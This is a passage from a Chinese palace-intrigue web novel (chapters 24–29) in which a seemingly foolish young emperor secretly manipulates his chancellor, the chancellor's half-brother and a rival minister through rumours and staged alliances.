这还得多谢江如松从前和徐敬意来往密切,曾经亲眼见过多次徐敬意的私章,所以才能复刻的如此完美,就连徐敬意自己都被骗了过去。 但郑遂却装糊涂,挠头笑了笑:“原来丞相说的是这事儿啊,可是朕是相信丞相的呀。朕也当着众朝臣的面替丞相澄清了,丞相为何还要如此对此事耿耿于怀?” 徐敬意此刻只恨不得把郑遂的头盖骨掀开瞧瞧他这脑子里头装的都是些什么。 他那叫哪门子的澄清! 第24章 他绝对没有脑子 若有人真正能处在万人之上,那即便是放个屁,也有人会将其奉为金科玉律。 但若是有人空有个尊贵的头衔,职责却只有一副臭皮囊,那哪怕他说破了大天,终究也是无人会相信。 郑遂怎么对自己的处境没点清晰的认知呢? 徐敬意气的差点要撅过去,可此刻正事要紧。 他只得忍下语气里的咬牙切齿,一副悲戚的态度对郑遂说道:“微臣自知陛下对微臣爱护有加,更在朝堂之上直接替微臣澄清。但流言一旦传出,必会被有些人抓住借此大作文章。” 徐敬意一副极为屈辱的姿态,以头抢地。 “陛下,如今民间流言纷纷,都说微臣通了北蛮,微臣实在是没脸见人了!只恨不得此刻去了才好!” 郑遂藏在宽大袖袍下的手正死死的掐着自己的大腿,这才强忍着没有笑出声来。 有些个人的脸皮还真是比城墙还厚啊。 他们徐家如此大逆不道,该做的事,不该做的事都被他们给做遍了。 如今终于遇到了个坎儿,却无自救之策,反而要跑到自己面前来哭天抢地。 郑遂真就奇了怪了。 他明明知道自己作为皇帝并没有什么力度,为何还要来求自己? 郑遂眼珠一转,心中忍不住笑开了。 既然明知这些,还非要来,那便是想从自己这里换取更大的权利了。 比方说,那些保皇一派对他的亲近。 与徐敬意而言,如今最大的阻碍除了老皇帝在凛冬之前摆的那一道,便是朝中老臣的反对之声。 郑遂若是能亲口下令,说服那些老臣,让他们亲近徐敬意,为徐敬意做保,那于他而言自然是天上掉馅饼的大便宜。 这样即便日后他拿刀逼着郑遂让位,反对之声也不会那么多了。 而在此时此刻,郑遂也发现了徐敬意一个致命的弱点。 他的确足够有野心,也掌握了许多权利,但是家族于他而言,终究是个累赘,也是枷锁。 这从徐妙晴的身上也能看得出来。 徐家表面上拧成了一股绳,可实际上不服徐敬意者众多。 准确来说就是一盘散沙,稍微有些个风吹草动,徐家自己就乱了。 让徐家内乱自然是郑遂最初的目的,但徐敬意的弱点也恰在此处。 他能处得了外忧,却处理不了内患,甚至只能为此来卑躬屈膝的求自己。 那么拿捏他可就容易的很了。 郑遂心中大喜,徐敬意这可是结结实实的给自己送了个机会过来。 这要是不抓住了,只怕来日郑遂哭都不知道上哪哭去。 于是立刻俯身亲手扶起了徐敬意:“朕知道自己能力欠佳,本不配坐在这九五至尊的位置上,且朕也无异于皇位。爱卿若明白朕的意思,朕定会为爱卿出一份力。” 徐敬意愣了愣,随即心头狂喜。 这郑遂一直扭扭捏捏,这事不说是,也不说不是。 如此开诚布公的谈话,倒也是头一回。 且他这话已经等同于明示自己,迟早有一天这皇位会落到自己的手里,徐敬意不能不高兴。 若自己能登上皇位,管他什么徐家的内乱,想要解决不还是一句话的事儿。 只有绝对的权力,才能证明人的价值。 但徐敬意心里头却仍有疑惑。 上一次的好主意是江如松那老贼给郑遂出的,这一次郑遂说的话不会也是口不对心,背地里听了那江如松的吧? “陛下之言臣如何敢当?”徐敬意连忙恭顺地垂下头去。 “其实微臣也并无他想,只是希望大齐能够蒸蒸日上,一统天下,不再受他国掣肘而已。” 放tnd屁! 话说的好听,事儿做的比谁都难看。 但郑遂面上还是一副大受感动的模样。 “爱卿此言,也正是朕的心里话。说实在的,其实朕总觉得有些对不住你。只是先帝已然过世,朕也……” 徐敬意自知郑遂说的是什么,眼珠微微一动,试探着道。 “若陛下觉得那些藩王麻烦,何不下一道旨意收了他们的兵权呢?” 当然,徐敬意没指望着郑遂真的有本事收回兵权来。 但若郑遂一口答应下来,那郑遂今日的话倒是有那么几分可信了。 毕竟这可是冒着得罪藩王的风险,在他们手握兵权的情况下,若真联合在一起杀入皇宫也是极有可能的。 郑遂沉默了。 徐敬意一直死死盯着郑遂的表情变化,等待着他的后话。 这人是否可信,也就在今日。 “此事颇难。”郑遂终于开口。 徐敬意眯起了眼,心中的朱砂笔即将在郑遂这个名字上打叉。 可就在这时,郑遂又开口道:“有没有想过,对于皇室影响最大的,并非是藩王。” 徐敬意眼前一亮,虽然郑遂没有给自己满意的答案,但是听着郑遂的意思,似乎是距离自己来的初衷不远了。 “陛下又何名见?臣洗耳恭听。” “自然是爱卿要与朝臣们多加亲近了。”郑遂说道。 “朕相信你绝对没有通敌判过,所以朕愿意为你做保,更愿意为你走上这一趟。只要能够镇压流言,做什么都不在话下。但是……” 郑遂忽然话锋一转:“这秦王之事。” 徐敬意连忙道:“陛下放心,秦王这个逆贼臣一定为陛下拿下。” “那边好。”郑遂微微颔首,“只是……莫要伤了他们的性命才好,他们毕竟也是朕的亲生兄弟。” 先前徐敬意心里头还在对郑遂有所怀疑,可是听了郑遂这话之后,却是只剩下嘲笑郑遂蠢了。 不管是不是江如松给郑遂出的主意,让他跑到自己面前来说这些话。 也不管郑遂是否能真的让自己与那些保皇派亲近,但至少面上郑遂也是要做出样子来的。 这样一来,流言的事儿自然而然就能解决了。 至于那些保皇派,到最后也未必不会假戏真做。 而郑遂方才那句藩王也是他的亲兄弟,更是让徐敬意心里踏实了不少。 这话绝不可能是江如松教给他的。 江如松或许有几分心机,但郑遂是绝对没有脑子。 第25章 欲让其亡,必让其狂 真要是说了什么,郑遂可是容易当真的呀。 留下藩王,对江如松而言并非好事。所以,为了避免麻烦,江如松根本提都不会提。 那就只能是郑遂自己的主意了。 他可真是傻的冒泡了! 这样一个人,管他背后到底有没有支持他的,也不管他背后支持他的是谁,终究是成不了什么大气。 徐敬意只需在暗中周旋即可。 于是当即道:“陛下仁爱之心,臣铭感五内。只是这些藩王未必会念着陛下的好处,微臣认为,若有人肯幡然悔悟,便是陛下赦免了也无妨。但若是有人执迷不悟,那还是请陛下……” “那是自然。”郑遂连连点头,“朕原本想过的就是安宁太平的日子,若是会因此引起不必要的波折,朕也是万万容忍不了的。” 徐敬意微微一笑,躬身道:“既然陛下有此决心,那微臣就放心了,微臣告退。” 徐敬意看上去又有点飘了,走时的礼也是行的七扭八歪,不成体统。 郑遂若有所思的看着徐敬意的背影,随后转过头去,手指轻轻逗弄着笼中的鹦鹉,眉眼之间不自觉的染上了一抹笑意。 躲在屏风之后的徐妍悄然走了出来:“陛下。” 郑遂头也不回:“刚才的话你都听见了。” “听到了。”徐妍轻声道,“徐家如今内乱,徐敬意自己也担心朝不保夕。” 说着,徐妍疑惑地微微蹙起眉,目光扫过郑遂的侧脸。 “奴婢有一事不解。” “何事?”郑遂终于转头看去。 徐妍略微停顿了一下,但终究是敌不过心里的好奇,开口问道:“陛下虽是假意为他拉拢朝臣,但终归保皇派要做出样子来。若是徐敬意诡计多端,真的拉拢了朝臣去……” 郑遂微微抬眼,凉薄的目光扫过徐妍,难得的不带一丝挑逗,唯有一本正经。 “世上不是所有人都像你想的那般狼心狗肺。” 徐妍被狠狠噎了一下,竟不知郑遂这是在骂徐敬意,还是在骂徐妙晴,亦或是自己了。 “况且,徐敬意虽有野心,可却也不见得在事事上都有脑子。”郑遂拿起金汤勺,给鹦鹉添了一勺粮。 “关键在于,徐敬意在沉浸于权力带来的快活之中时,还能否有那么一丝清醒的理智。” 欲让其亡,必让其狂。 徐敬意如今的难处,是原本就不和谐的徐家如今已经有人暗中蠢蠢欲动。 便是暂且内乱没有大爆发,但也要不了多少功夫了。 而自己方才那半真半假的话,不管徐敬意是否全然相信,都能让徐敬意放松警惕。 他若是想着要以权治徐家那些不轨之徒,尝到了好处之后就必会飘飘然,届时在摆弄他,岂不是比摆弄面前这只鹦鹉要更加趁手? 徐妍陷入了无尽的沉默之中。 郑遂这招可谓是十分歹毒,就连徐妍这个隐隐期盼着徐家内乱,不要让他人的视线落在自己身上的人,都觉得郑遂有点缺德了。 然而郑遂却依旧面色淡淡,自顾自的逗弄着鸟儿。 都已经混成这个奶奶样了,什么是否以德服人都不要紧。 达成目的最要紧。 “去给太后回话吧。”郑遂轻声说道。 “别叫人等急了。” 徐妍咬着嘴唇,在原地停顿了一会儿,微微行了个礼,转身退了下去。 徐妙晴等到了这个天大的好消息,已经是乐的合不拢嘴。 “兄长一向聪慧过人,怎会被郑遂着几句话给骗了?” 徐妍道:“老皇帝说人心不足蛇吞象,也说,人一旦有了欲望,就会有弱点。” 徐妙晴骤然转头望过去:“你又看到那册子了。” “偷偷看到的。”徐妍说道,“大略翻看了几页,都是有关于一些朝中之臣的详细情况。郑遂手中拿着这本册子,可谓是省了不少事。” 他是省事了,徐妙晴却不高兴。 就算是这些计策此刻能够帮到自己,徐妙晴也不得不防备着。 免得哪天郑遂忽然脱了他们的掌控,到那时候可就不好收场了。 “最近的药,可还用着?” “在用的。”徐妍点头,“按照太后娘娘的意思减少了药量,但也是一日三顿的混在他的饮食之中。” 听了这话,徐妙晴可就放心了。 “哥哥如今自顾不暇,倒是给咱们省了不少麻烦。”徐妙晴嘴角挂上了一抹意味不明的笑。 “既如此,你就继续给他用药吧。” “奴婢遵命。” 徐妍悄然回了乾清宫,却发现以往到这个时候也通火通明的乾清宫竟然已经黑了大半。 唯独里边亮着几盏小灯,就像是徐妍被郑遂从尚宫局骗回来的那一晚一样。 徐妍不禁有些紧张了起来。 郑遂这是又要闹什么幺蛾子? 四下打量一眼,没见到郑遂的影子,也没见到王喜的影子。 徐妍思来想去,只得缓缓踏入乾清宫中一探究竟。 轻轻把门推开了一条缝,就察觉到里头安静的很,几乎是落针可闻,只偶尔夹杂着一些竹花燃爆的声音。 郑遂不在里边? 徐妍疑惑的四下打量过去,莫非是自己想多了? 徐妍端了一盏架子上的烛台,借着微弱的光朝内殿走去。 直到接近了内殿的门,徐妍才隐隐约约听到里头似乎有人在交谈。 “你的演技不错,深得朕心。” 在郑遂话落之后,他面前的位置传来了一个极为谦卑的声音。 “都是陛下指点的好,否则微臣哪里能够想到这些。” 郑遂轻笑一声:“便是主意再好,可总得有人去实施。” 随后压低了声音:“户部侍郎如何?” 虽然他声音很小,徐妍在外还是听得清清楚楚。 他忍不住悄然凑了过去,贴在门缝边细细的听着。 “先生自打到了鹤城之后,与同僚的联系密切了不少。按照陛下的吩咐,诸位已全然明了陛下的心思,如今就只等着陛下一声令下呢。” “那便好。”郑遂若有所思的点了点头。 这徐敬意以为把自己困在皇宫之中,他就不可能有脱身之法,更是里外不通。 可谁叫他有个好妹妹呢? 自己好好的在家里坐着,徐妙晴就给递了个机会过来。 第26章 已经有离心的兆头了 要不是徐妙晴让自己帮忙把保皇党一派中最顽固的李敬业外放出去,只怕郑遂还真没机会里外互通消息呢。 谏院刺史又说道:“陛下,先生在信中还说,如今因为秦王叛乱,各地方百姓的生活也是受到了影响,眼下已经有些民不聊生的兆头了。” 郑遂蹙起眉:“何故?” “陛下给徐敬意的提议,徐敬意很是受用。对外虽是人尽皆知,这是陛下下旨,但徐敬意为了给自己立威,将这主意是自己出的消息给传了出去。” 那徐敬意本就虎视眈眈,如今郑遂被困在皇宫中的消息,各地方政府也全然知晓。 他们忌惮徐敬意的威势,所以皇帝下令未必肯听从的话,到了徐敬意那儿却是百般顺从。 可大齐自打老皇帝那一代起就有逐渐衰弱的趋势,多年来各地方的官府觉得天高皇帝远,也是开始腐败了。 若说从前他们搜刮民脂民膏的时候还能稍微有所收敛,如今打着徐敬意的幌子,他们更是为所欲为起来。 听说,各地方线上的钱粮有一部分是官府出的,而剩下的则是搜刮了底下的百姓。 虽然如今百姓们日子过得也不算苦,但若有他们继续这么放肆下去,只怕百姓们的生活就更难了。 长此以往下去,朝廷不作为,百姓被压榨,一会有人揭竿而起。 届时可就不仅仅是藩王起兵造反,那李四还有徐敬意等人虎视眈眈的问题了。 如今最重要的,必得是改善百姓的生活,同时镇压地方官方,叫他们不要继续造次。 只是如今国库空虚,且郑遂的话也并无那么大的力度。 那就只能假手他人了。 郑遂想了想,面上忽然挂上一抹意味深长的笑容。 “朕记得,徐家那位庶长子生意做得不错。” 谏院刺史听闻,愣了愣,随即亦是眼前一亮。 那徐敬意的长兄徐敬若可是大齐赫赫有名的商人,即便算不得是皇商,可也只是差那么个名分。 且他的生意几乎遍布全国,甚至与周边一些国家也有互市往来。 可以说若非徐敬若没有个嫡出的身份,早就没有徐敬意什么事儿了。 可郑遂怎么觉得徐敬若这么多年一直是在守拙呢? 郑遂忽然嗤笑一声,问道:“此事你怎么看?” 谏院刺史也露出个意味深长的笑来:“想来若是那徐敬若是抬举的话,定会抓住陛下给的这个机会的。” “那就按照朕的意思去办吧。” 谏院刺史领命下去了,徐妍这才从屏风后缓缓走了出来。 蹙眉道:“那徐敬若也不是什么好东西。” “朕自然知道。”郑遂缓缓转头看向她,“徐家人,有几个是好东西的?” 徐妍脸色一僵,郑遂却忽然笑道。 “当然除了你。” 徐妍别过头去:“陛下惯会开玩笑的,只是,太后那边您打算如何应对?” 这徐妙晴本就是不想和徐家彻底撕破脸的,如今徐家内乱,于徐妙晴而言,未必是什么好事。 更何况,这污蔑徐敬意一事,徐妙晴可是丝毫不知。 “这有何难?”郑遂笑道。 “只有她自己亲眼看到,徐家本不固若金汤,稍有些风吹草动,就会成为一盘散沙,她才会知道,什么人该信任,什么人不该信任?” 等到徐妙晴亲眼所见,明白徐家人靠不住的时候,郑遂便有机会了。 郑遂轻轻揽过徐妍的腰,手指划过她的鬓发。 “你我什么都不必愁,只需继续给徐妙晴做出一副恩爱情好的假象就好。” 徐妍面色一红。 —— 有了之前郑遂亲口认证徐敬意无罪,再加之徐敬意往郑遂这边跑了一趟的事儿,人尽皆知,朝堂上的风浪看似平息了不少。 可实际上,在徐敬意不知道的时候,这暗流奔涌得却愈发凶猛了。 郑遂深谙谣言的力量,不动声色地就授意谏院刺史,命他将徐敬意私通北蛮一事巧妙地加工散播。 这一回,民间本就有的舆论在经过了郑遂的这番润色之下,已然是闹得更加沸沸扬扬。 不管是茶馆酒肆,还是街头巷尾,处处皆是窃窃私语。 “听说了吗?徐相爷……唉,真没想到啊!” “那封信上盖的私章,听说就是徐府的!连缺的那个角都对得上!” “啧啧,位极人臣还不满足?非要卖国求荣?” “嘘!小点声!你不要命了?不过……想想也是,不然北蛮上次怎知边军换防的时机?” 这些议论起初还带着犹疑,但随着故事越传越真,细节越来越丰富,民众对权贵的敬畏,渐渐被对国家和对自身安危的担忧所取代。 质疑徐敬意的声音,早在不知不觉间就汇成了难以忽视的暗涌,更卖力气的冲击起了那徐家本就不坚固的门邸。 与此同时,谏院刺史派出的另一波人则扮演着“忧国忧民”的正义之士,将地方官署有徐敬意在背后撑腰,借秦王叛乱粮饷筹集之名变本加厉盘剥百姓的事迹添油加醋地散播开去。 一时间,这消息直接就炸开了锅,私底下议论徐敬意的人也是越来越多。 “官府横征暴敛!朱门酒肉臭,路有冻死骨啊!” “这南边本就被秦王占着,官府却还剥削百姓,就算是朝廷赈济粮发下去,只怕也会被州府层层克扣!” “还不是打着按丞相令行事的旗号!这日子没法过了!” “看看人家秦地的百姓吧,虽说是反了,起码分到了点口粮!这中州的百姓就只有加税加税再加税!我看啊,很快就要轮到咱们了!” 一时间,徐丞相通敌卖国、官府假借徐相之名鱼肉乡里、民不聊生三种论调交织发酵。 这场舆论风暴带来的第一个直接后果,便是徐家内部的分裂由暗潮开始浮出水面。 徐敬意自那日从宫中回来,表面依旧倨傲,但府中气氛却日渐压抑。 保皇派的疏远可以预见,但依附于他的官员们,看他的眼神也多了几分闪烁和探究,甚至已经有些离心的兆头了。 第27章 果然忧国忧民的很 更让他如芒在背的是,那些旁支庶出的族亲昔日对他恭敬有加,此刻却也藏着蠢蠢欲动的意头了。 而更是这个时候,这更是有人想要趁机而出,坐收渔利。 果然不出郑遂所料,几乎被世人所遗忘的徐家庶长子徐敬若真的站了出来。 当民众的控诉声浪高涨之时,一则来自江南的消息如同甘霖,瞬间浇灌了早已干涸的民心。 “听说了没?江南大商,徐氏徐敬若老爷,不忍见黎民疾苦,特备精米十万石,绸缎五千匹,白银十万两,自明日起发往地方,还是由他们的人亲自护送!赈济灾民,解百姓燃眉之急了!” 消息传开,整个京城都沸腾了! 庶子!商人!一直被边缘化,不被徐家核心圈子真正接纳的徐敬若! 谁也没有想到他会在这时候出来,甚至没有想到他竟然还有重现天日的这一天。 而徐敬若选在这个微妙的时机,以如此高调且直接打脸的方式出现,不仅仅是在做善事,这更像是在争夺民心,争夺话语权,甚至是在争夺徐家内部的某种“道德”制高点! 而在百姓的眼里,自然也是与徐敬意形成了鲜明的对比。 徐府,花厅。 徐敬意猛地将手中温热的茶盏掼在地上,碎片四溅,褐色的茶水浸透了名贵的波斯地毯,污浊一片。 “放肆!他算个什么东西?!”徐敬意气的胸口剧烈起伏。 “一个贱妾所出的商贾,竟敢如此高调!他这是在踩着我徐敬意的脸!” 小厮们吓得瑟瑟发抖:“大人别急,兴许他也是为了自己的生意好做些呢?毕竟现在秦王叛乱,商人们是越来越难了。” 徐敬意怒极反笑,指着门外:“他发放救济粮,难道不是在指摘我这个当朝丞相无能,连累百姓受穷?!难道不是在暗示,那些盘剥地方的命令,就是出自我手?!” 他徐敬若是要当圣人,是要把徐敬意钉在奸佞的耻辱柱上! “他真是好一个忠义无双徐大善人!把我徐家的声明当成他邀买人心的踏脚石!混账!混账至极!” 暴怒的声音在花厅内回荡,下人们噤若寒蝉,垂首跪地。 可短暂暴怒过后,浮上心头的却是一种更深的寒意。 徐敬若的出手如此精准,时机如此巧妙,背后必然有高人指点。 是谁? 是谁在支持这个他一直看不上眼的庶兄来和他唱对台戏? 是徐家内部那些早就对他不满的旁支? 还是……那胆小懦弱的小皇帝?! 不,不可能! 郑遂一个天上掉两滴雨,都怕把脑门砸个窟窿的人,他怎么会有这么深的心机? 怕是又有谁在背后指使吧? 徐敬意眯了眯眼,缓缓捏紧了拳头。 江如松…… 这时,外头又有下人,匆匆跑进来禀报。 “大人!大人!大老爷他回来了,他、他……” “他什么他,有屁快放!”徐敬意不耐烦的呵斥道。 下人颤颤巍巍的道:“大老爷回来,便在京城东南西北四个门设立粥棚。说是如今天下不太平,有不少难民都逃往了京城来,所以他开始施粥,救济难民了! 徐敬意脸色突变,猛地把桌上的所有东西都挥落在地。 —— 京城四门的粥棚人山人海,徐敬若一身素衣,亲自为百姓分粥。 徐敬意偷偷去看了,当即便评价了一句:“装腔作势!” 然而不管徐敬意再怎么不甘心,徐敬若得民心的事却是板上钉钉的事实。 更让徐敬意心惊的是,一些原本依附于他,甚至是他一手提拔起来的官员,言语间也悄然发生了变化。 他们以往提及徐敬若的时候,甚至连这个人是谁都不记得。 可到了这会儿,言语间却多了几分“徐家一门双杰”、“敬若老爷急公好义”等等评价。 虽说是夸人的时候,连带着徐敬意一起跨了进去,可实际上这其中有几分是真几分是假,徐敬意还能看不出来? 徐敬意这才感觉到事态有多么的可怕。 若他们真有背叛自己的那一天,只怕自己也是除了强行镇压之外根本没话说。 因为人家完全可以撇清自己,说他们原本效忠的就是徐佳,而不是某个人。 这几乎是成了压垮徐敬意理智的最后一根稻草。 原本还不被他过于放在心上的“北蛮密信”几乎已经成了他心头的一根刺。 查!必须彻查! 是谁有如此本事,能接触到他的私章印模?又是谁处心积虑要置他于死地? 而当他下令心腹开始秘密追查信件来源时,仿佛有一只无形的手在操纵着方向。 “巧合”的信息碎片不断涌入他的耳中: 某位曾与江如松过从甚密的门客,无意中提起江如松书房里似乎藏着一套精巧的玉石雕刻工具…… 另一个线索指向江如松昔日在江南为官时,与一位颇有名气的金石篆刻大师交情匪浅…… 更有流言模糊地影射,皇帝给徐相“澄清”那几日,江如松曾神秘出入过宫中作坊…… 这些零零散散的信息,如同散落的珍珠,被一颗颗线串了起来! 江如松! 果然是他! 想他江如松当年也不过就是自己身边的一条狗罢了,如今竟敢算计于他? 徐敬意中式忍无可忍,当即便叫人去寻江如松的下落。 待到徐敬意打马赶去西市的绸缎庄时,正巧看见江如松刚从庄内出来,身后仆从抱着几匹新选的料子。 他竟然还有心买什么衣料?! 徐敬意气不打一处,当即也顾不上什么同僚颜面,不宜当场撕破脸之类的了。 猛地一抬手,车队缓缓停下。 他并未下车,而是高高坐在装饰华丽的马车内,掀开了车帘。 “哟?这不是我们公正廉明的江尚书大人吗?” 江如松闻声抬头,看见徐敬意那张挂着讥讽笑容的脸。 顿时心中一凛,升起一种不祥的预感,拱手道:“见过丞相。” 徐敬意并不回礼,目光像刮刀一样扫过江如松。 冷笑道:“江大人好雅兴啊。外面流言如沸,更有乱臣贼子勾结外敌,祸国殃民,江大人倒是有闲情逸致来这等富贵温柔之地,挑选上好绸缎?果然……忧国忧民得很哪!” 第28章 你难道不想取而代之 这阴阳怪气的语调像一记记耳光打在江如松脸上。 周围的百姓商贩纷纷停下脚步,好奇又紧张地看过去。 江如松面皮瞬间涨红,他明白徐敬意指桑骂槐背后的意思,心头一阵虚跳。 可是一来他的权利地位并不能比得上徐敬意,二来,他确实也参与了伪造信件一事,就也只能强压怒火。 “丞相何出此言?下官……” “下官?”徐敬意粗暴地打断,“江大人太谦了!如今谁人不知江大人乃陛下面前第一红人,智计百出,心思玲珑!本相在你面前,岂敢受‘大人’之称?” 江如松如遭雷击,脸色由红转白。 但徐敬意那笃定的眼神和话中的暗示,却似乎已经掌握了什么“证据”,让他顿感做贼心虚。 辩解的话卡在喉咙里,一时竟不知如何开口。 徐敬意看着他那哑口无言的样子,更是确信了自己的判断。 “怎么?心虚了?被戳破了伎俩,无地自容了?江如松!你这老匹夫!表面上道貌岸然,背地里阴险如蛇!你也不掂量掂量自己几斤几两!若非陛下仁德,被你这等小人蒙蔽片刻,你以为你能逍遥至今?哼!本相今日就看你还能装模作样到几时!跳梁小丑!” 一番话掷地有声,如同宣判。 周围的议论声嗡地一下炸开了锅! “这徐丞相不会说的是江尚书伪造的信件吧?” “好像还真是,构陷丞相?天哪……” “看着不像啊……不过丞相说得这么笃定……” “最近谣言可不就围着丞相吗?难道真是这位……” 江如松站在原地,浑身血液冰凉。 他一个堂堂尚书,竟在当街受此奇耻大辱! 可徐敬意似乎真的查到了什么,或者说,有人故意把线索引向了自己? 江如松一阵眩晕,全靠身后的仆人搀扶才没倒下。 他死死攥紧拳头,指甲几乎嵌进肉里,强忍着没有当场失态爆发。 怨毒地盯着那放下帘幕,扬长而去的华丽马车,心中只有一个念头:徐敬意,我江如松与你,不死不休! 江如松踉跄回府后,压抑的愤怒终于爆发。 乾清宫。灯火摇曳。 郑遂正悠闲地逗弄着笼中那只雪白的鹦鹉,王喜无声的侍立一旁。 江如松强压着愤懑行过礼,开门见山:“陛下!微臣……有万死之言,不得不问!” 郑遂似乎早有所料,示意王喜退下。 王喜悄无声息地退到殿门阴影处。 “哦?爱卿何事如此激愤?”郑遂转过身。 江如松抬起头:“陛下,今日徐相当街羞辱微臣之事,陛下可知?” 不等郑遂回答,他激动地继续质问。 “他污蔑微臣伪造信件,构陷于他!微臣想问陛下……这污蔑从何而来?究竟是谁……是谁在背后,将伪造信件的嫌疑,指向了微臣?!” 郑遂挑了挑眉,勾起唇角一笑:“可是,伪造信件这事本来就不是构陷啊。” 他江如松确实是没有亲自伪造那封信件,可他把消息传给了李继业,这与亲自经手又有什么区别。 江如松被狠狠的噎了一下,可心下又实在不甘。 便干脆眼一闭,心一横,当下也顾不得什么礼仪尊重,直接开口问道。 “可是陛下……有意为之?!” 郑遂脸上挂着一丝难以捉摸的笑意,带着洞悉一切的玩味。 他没有直接回答,反而慢条斯理地问道:“江爱卿,徐相在朝堂,只手遮天多少年了?” 江如松一愣,没想到皇帝会问这个。 郑遂踱了两步,走到江如松面前,声音压得很低,却字字清晰:“你在徐相面前,可曾真正挺直过腰杆?你可甘愿,永生永世,活在他的阴影之下,做他门下的一条狗,被他呼来喝去,甚至……当街折辱?” 这句话像一根钢针,狠狠刺穿了江如松那点残存的的自尊。 他老脸顿时一阵扭曲。 郑遂不给江如松喘息的机会,目光灼灼, “一山,岂能容二虎?爱卿难道就不想做这大齐朝堂上,唯一的那只真正啸聚山林,威震天下的虎?” 唯一的老虎?!取代徐敬意?! 这个念头如同惊天霹雳,狠狠撞开了江如松潜藏已久的野心! 心脏在胸腔里疯狂擂动,血液瞬间涌上头颅。 他之前想的是自保,是讨个公道,从未敢直接触及这个最高的权柄! 但此刻被郑遂赤裸裸地点破,那份被压抑了太久的渴望像野草般疯狂生长。 是啊!凭什么!徐敬意算什么东西!他江如松难道就做不得位极人臣的第一人?! 明明两家曾经实力差不多,可他却卑躬屈膝的讨好了徐敬意这么多年,也算是忍够了! 但这念头又太过惊悚。 他还是犹豫了。 “陛下……此言……此意……微臣不敢想!万万不敢想!” “是不敢想?”郑遂逼近一步,嘴角勾起,“还是……明知可行,却畏惧徐相威势?” 郑遂的眼神锐利如刀,继续低语:“如今徐家内乱已生,徐敬若风头正盛,徐敬意焦头烂额,人心浮动,正是千载难逢之机!爱卿要做的很简单,只需看清形势,站稳脚跟,何愁不能彼可取而代也?” 彼可取而代也这话在江如松脑中轰鸣。 他浑身剧烈颤抖起来。 巨大的野心如同开闸的洪水,瞬间冲垮了他心中对徐敬意所有残留的恐惧和敬畏! 对啊!只要面前这位小皇帝愿意支持他,只要他足够聪明和谨慎,未必没有机会! 他江如松的才华、资历,岂在徐贼之下?! 他看着郑遂那张年轻却深不可测的脸,此刻他忽然觉得,眼前这位少年,或许真是在下一盘惊天大棋! 而自己被逼着站队的机会,未必不是一场天大的造化。 投靠皇帝,借皇帝之手扳倒徐相,最终自己坐上那个位置…… “陛下……”江如松的声音因激动而变得哽咽而嘶哑,“微臣……微臣愚钝!陛下点醒梦中人啊!” 他猛地一撩袍服下摆,就要跪下。 郑遂却抬手虚扶:“慢。江爱卿,此等大事,光你我君臣相知尚不足够,还需得一人认可才行。” 江如松抬头,眼中带着疑惑:“陛下所指何人?” 第29章 终于寻到了能工巧匠 “当然是寿康宫的太后娘娘。”郑遂微微一笑,“爱卿要成为朕真正倚仗的股肱,自然要取得她的信任。否则,后院起火,岂非功亏一篑?走吧,随朕去拜见太后。” 去见徐妙晴? 江如松心中一凛,微微皱眉。 他虽然决定投靠郑遂,但内心深处对徐妙晴这位依靠兄长上位,还妄图坐上帝位的太后依旧存着满心轻视。 后宫妇人,能有多大见识? 如何能插手朝堂布局? 但此刻皇帝开口,他只得躬身:“微臣遵旨。” 寿康宫烛火通明,徐妙晴靠在软榻上,听着郑遂温言叙述江如松的忠心和他对徐敬意如何的不满,目光始终审视着下方的江如松。 江如松强忍着内心的不适,努力做出一副恭敬到极致的姿态。 他微微躬着身:“太后娘娘明鉴!微臣……微臣冤枉啊!丞相今日当街所言,实属无稽之谈!那伪造信件之事,微臣毫不知情!定是别有用心之人构陷!” 郑遂在一旁温言补充:“母后,江爱卿一向刚正不阿,忠心耿耿。今日遭受如此折辱,却不改对朝廷和对母后的赤诚之心,实在难得。儿臣相信,有江爱卿相助,定能帮母后稳固朝局。” 徐妙晴眼神复杂地在郑遂和江如松之间游移着。 郑遂的每一句话似乎都站在她的立场,为她着想,江如松的表现也无可指摘的恭顺,但她总觉得哪里不对劲。 皇帝的撮合似乎过于殷勤了。 莫非是江如松这么快就想开了,所以要急着投诚于自己的阵营? 然而心中的疑虑很快就被郑遂最后那句稳固朝局给打断了。 徐敬若的异军突起来的恰到好处,徐敬意如今处境又内外兼忧。 虽然江如松并不是她第个想要拉拢的对象,也不是最想要的那个,再加上江如松从前的那些话,多少让自己心里有点不痛快。 可是想一想,有了江如松的帮助,或许也能为未来拉拢保皇党一派多一些助力,最终还是微微颔首。 “江尚书心系朝廷,哀家已知晓。既蒙陛下信任,望尚书日后能尽心辅佐,克己奉公,莫负圣恩。” “微臣叩谢太后娘娘恩典!定当肝脑涂地,以报太后、陛下知遇之恩!”江如松连忙行礼谢恩。 但低头时,眼中掠过一丝不易察觉的嘲弄。 对于这太后的认可,他只觉得讽刺至极。 曾经做小伏低,衬托着徐敬意,如今又要对徐妙晴俯首称臣。 这得等到何年何月,才能自己真正的独揽大权? 而且对一女子卑微至此,实在是叫人觉得心里憋气。 徐妙晴却一副高傲姿态,慵懒的挥了挥手。 “行了,你们的忠心哀家已经知道了,就出去吧。” 几人从寿康宫退出,步入回乾清宫的宫道。 夜色深沉,寒风凛冽,江如松的心里却仍不痛。 郑遂负手走在前面,脚步不疾不徐。 忽然就冷不丁的问了一句:“江爱卿可好奇朕让你去见她,是为何意?” 江如松微微皱起眉,抬头望过去,就见郑遂的笑容在夜色中显得极为高深莫测。 江如松不禁愣住了。 郑遂轻笑一声,声音极轻,宛如耳语:“爱卿以为,这后宫帷幕之后,这朝堂棋盘之上,真正执子的……是谁?” 他停下脚步,转头看向江如松。 “棋子看到的,往往只是棋子。爱卿是聪明人,不必拘泥于表象。朕今日能让先生站在此处,明日,也能让先生站在更高处。重要的是,看清谁掌握棋局,谁……才是能让你达成所愿之人。” 他刻意强调了“达成所愿”四个字。 棋子?执子者?江如松浑身剧震! 皇帝这番话,无疑是赤裸裸地告诉他:徐妙晴也不过是他掌控下的一个环节,一个用来收拢人心、平衡局势的筹码! 她并非真正的决策者! 而郑遂……这个一直庸庸碌碌的少年天子,才是那个在幕后真正布局操控一切的手。 巨大的震撼如同惊涛骇浪冲击着江如松的认知。 他之前只觉得皇帝是顺势而为,借力打力,有些小聪明。 如今看来,哪里是小聪明?这分明是深不见底的城府! 自己以为攀上了新主,以为能够利用皇帝的力量,殊不知,从一开始,自己就已经落入了对方的布局。 一步步被推着走,甚至是被逼着走到必须彻底效忠的地步! 再联想到伪造信件的精妙嫁祸,想到徐敬若恰到好处的出头,想到自己被当街羞辱的“巧合”与迅速被推为“幕后黑手”的引导…… 